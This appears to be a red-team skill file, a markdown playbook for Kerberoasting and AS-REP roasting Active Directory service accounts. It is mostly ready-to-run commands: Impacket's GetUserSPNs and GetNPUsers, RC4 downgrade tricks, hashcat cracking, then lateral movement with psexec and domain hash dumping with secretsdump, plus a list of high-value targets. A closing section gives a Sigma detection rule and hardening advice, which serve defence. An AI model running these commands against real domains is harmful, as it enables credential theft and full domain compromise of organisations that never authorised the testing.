Red Exploiting Kerberoasting With Impacket

---
name: red-exploiting-kerberoasting-with-impacket
description: Perform Kerberoasting attacks using Impacket's GetUserSPNs to extract and crack Kerberos TGS tickets for Active Directory service accounts.
domain: red
category: active-directory
hide: true
license: Apache-2.0
metadata:
  manifest_entry: src/corpus/red-exploiting-kerberoasting-with-impacket/SKILL.md
---
# Exploiting Kerberoasting with Impacket

## Overview

Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's `GetUserSPNs.py` is the standard tool for Linux-based Kerberoasting attacks.


## When to Use

- When performing authorized security testing that involves exploiting kerberoasting with impacket
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding


## 1. Operational Decision Tree

```text
                [Valid Domain User Credentials Acquired]
                                   │
                                   ▼
                   [Active Directory Preflight Audit]
               Verify Domain Controller IP & scope.json
                                   │
                   ┌───────────────┴───────────────┐
                   ▼                               ▼
         [Kerberoasting Pipeline]        [AS-REP Roasting Pipeline]
         (Accounts with SPNs)            (DONT_REQ_PREAUTH Accounts)
                   │                               │
                   ▼                               ▼
         [GetUserSPNs.py Query]          [GetNPUsers.py Query]
         Extract accounts & SPNs         Extract AS-REP hashes (no creds)
                   │                               │
                   ▼                               ▼
         [Cipher Downgrade Probe]        [Hashcat Mode 18200]
         - Prefer RC4-HMAC (etype 23)    - Offline brute-force
         - Hashcat Mode 13100                      │
                   │                               │
                   └───────────────┬───────────────┘
                                   │
                                   ▼
                     [Offline Password Cracking]
                 hashcat -m 13100 / 18200 rockyou.txt
                                   │
                                   ▼
                   [Tripartite Verification Oracle]
               Plaintext Verified + SMB Authentication
                                   │
                                   ▼
                   [Evidence Ledger Registration]
         arsenal append-evidence --case $CASE_ID --tool impacket ...
                                   │
                                   ▼
                   [Downstream PrivEsc / Lateral]
         - Pass-the-Hash / WinRM -> red-lateral-movement
         - Domain Admin rights -> secretsdump.py
```

## Most Often Missed & How to Confirm

- **Roasting accounts you can't crack.** A `$krb5tgs$` hash is only a win if the password is weak. gMSA/managed accounts (240-char random) won't crack — triage by `PasswordLastSet` age and prioritize stale, human-set service passwords.
- **Defaulting to AES tickets.** If the account supports AES you'll get mode 19700 (far slower to crack). Use Rubeus `/tgtdeleg` or downgrade tactics to pull crackable **RC4 (etype 0x17, hashcat -m 13100)** where the account allows it.
- **Mangled hash files.** Line wrapping from `GetUserSPNs.py` output breaks hashcat; keep one hash per line.
- **Targeting `krbtgt`** (not roastable) or ignoring AdminCount=1 / Domain Admin SPN holders that give the highest payoff.
- **How to confirm a hit:** the success signal is a **cracked plaintext** — `hashcat -m 13100 <file> --show` prints `...:Summer2024!`. Then prove it's usable: `crackmapexec smb <dc> -u svc_sql -p 'Summer2024!'` returns `[+]`, and if the account is privileged `secretsdump.py corp.local/svc_sql:'...'@dc -just-dc-ntlm` runs. Don't conclude an account is "uncrackable" until you've requested an RC4 ticket (not just AES) and run it against a real wordlist + rules; an unbroken AES hash is not proof of a strong password.

## Prerequisites

- Valid domain credentials (any domain user can request TGS tickets)
- Network access to a Domain Controller (TCP/88 Kerberos, TCP/389 LDAP)
- Impacket installed (`pip install impacket`)
- Hashcat or John the Ripper for offline cracking
- Wordlist (e.g., rockyou.txt, SecLists)


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## MITRE ATT&CK Mapping

| Technique ID | Name | Tactic |
|---|---|---|
| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access |
| T1087.002 | Account Discovery: Domain Account | Discovery |
| T1110.002 | Brute Force: Password Cracking | Credential Access |

## Step 1: Enumerate Kerberoastable Accounts

```bash
# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1

# Output example:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10
```

## Step 2: Request TGS Tickets

```bash
# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt
```

## Step 3: Crack TGS Tickets Offline

```bash
# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!
```

## Step 4: Validate and Use Cracked Credentials

```bash
# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm
```

## Step 5: AS-REP Roasting Companion Pipeline (GetNPUsers)

When accounts have the `DONT_REQ_PREAUTH` flag enabled in UserAccountControl, request AS-REP hashes without presenting any password:

```bash
# 1. Enumerate and request AS-REP hashes for preauth-disabled accounts
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 10.10.10.1 \
  -format hashcat -outputfile asrep_hashes.txt

# If domain user credentials are known:
GetNPUsers.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile asrep_hashes.txt

# 2. Crack AS-REP hashes using Hashcat Mode 18200 (Kerberos 5 AS-REP etype 23)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule
```

## 2. Tripartite Verification Oracle

```text
+---------------------------------------------------------------------------------------+
|                              TRIPARTITE VERIFICATION ORACLE                            |
+---------------------------------------------------------------------------------------+
| 1. POSITIVE ASSERTION       | - Hash verification: Output contains valid $krb5tgs$23$ |
|                             |   or $krb5asrep$23$ hash matching service account name. |
|                             | - Plaintext Confirmation: hashcat --show emits cracked  |
|                             |   password string, AND NetExec / crackmapexec returns   |
|                             |   "[+] corp.local\\svc_sql:Summer2024! (Pwn3d!)".         |
+-----------------------------+---------------------------------------------------------+
| 2. NEGATIVE BASELINE        | Executing GetUserSPNs.py against non-SPN standard users |
|    CONTROL                  | returns: "No entries found!", confirming tickets are    |
|                             | only requested for authentic service accounts.          |
+-----------------------------+---------------------------------------------------------+
| 3. DIFFERENTIAL INVARIANCE  | Test authenticated RPC/SMB connection using the cracked |
|                             | plaintext to confirm password has not expired or been   |
|                             | changed in Active Directory.                            |
+---------------------------------------------------------------------------------------+
```

## 3. Evidence Capture & Ledger Registration

```bash
# 1. Verify cracked plaintext credentials via NetExec
netexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' > work/$CASE_ID/evidence/raw/kerberoast_verify.txt

# 2. Append evidence entry to cryptographic audit ledger
arsenal append-evidence \
  --case $CASE_ID \
  --tool impacket \
  --file work/$CASE_ID/evidence/raw/kerberoast_verify.txt \
  --desc "Confirmed Kerberoasting exploitation with cracked plaintext credentials"
```


## Alternative Tools

### Rubeus (Windows)

```powershell
# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt
```

### PowerView (PowerShell)

```powershell
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt
```

## Targeted Kerberoasting

High-value targets for Kerberoasting:

| Account Type | Why | Risk |
|---|---|---|
| Service accounts in Domain Admins | Direct path to domain compromise | Critical |
| SQL service accounts (MSSQLSvc) | Often have excessive privileges | High |
| Exchange service accounts | Access to all email | High |
| Accounts with AdminCount=1 | Previously/currently privileged | High |
| Accounts with old passwords | More likely to use weak passwords | Medium |

## Detection

### Windows Event Logs

```
Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs
```

### Sigma Rule

```yaml
title: Potential Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003
```

## Defensive Recommendations

1. **Use Group Managed Service Accounts (gMSA)** - 240-character random passwords, auto-rotated
2. **Set strong passwords (25+ chars)** on all service accounts
3. **Enable AES-only encryption** - Disable RC4 via GPO
4. **Monitor Event ID 4769** for RC4 TGS requests
5. **Implement Managed Service Accounts** where gMSA is not feasible
6. **Regular audits** - Run BloodHound to identify Kerberoastable accounts
7. **Protected Users group** - Add sensitive service accounts
8. **Honeypot SPNs** - Create decoy accounts with SPNs to detect attacks

## References

- MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/
- Impacket: https://github.com/fortra/impacket
- Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
- Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/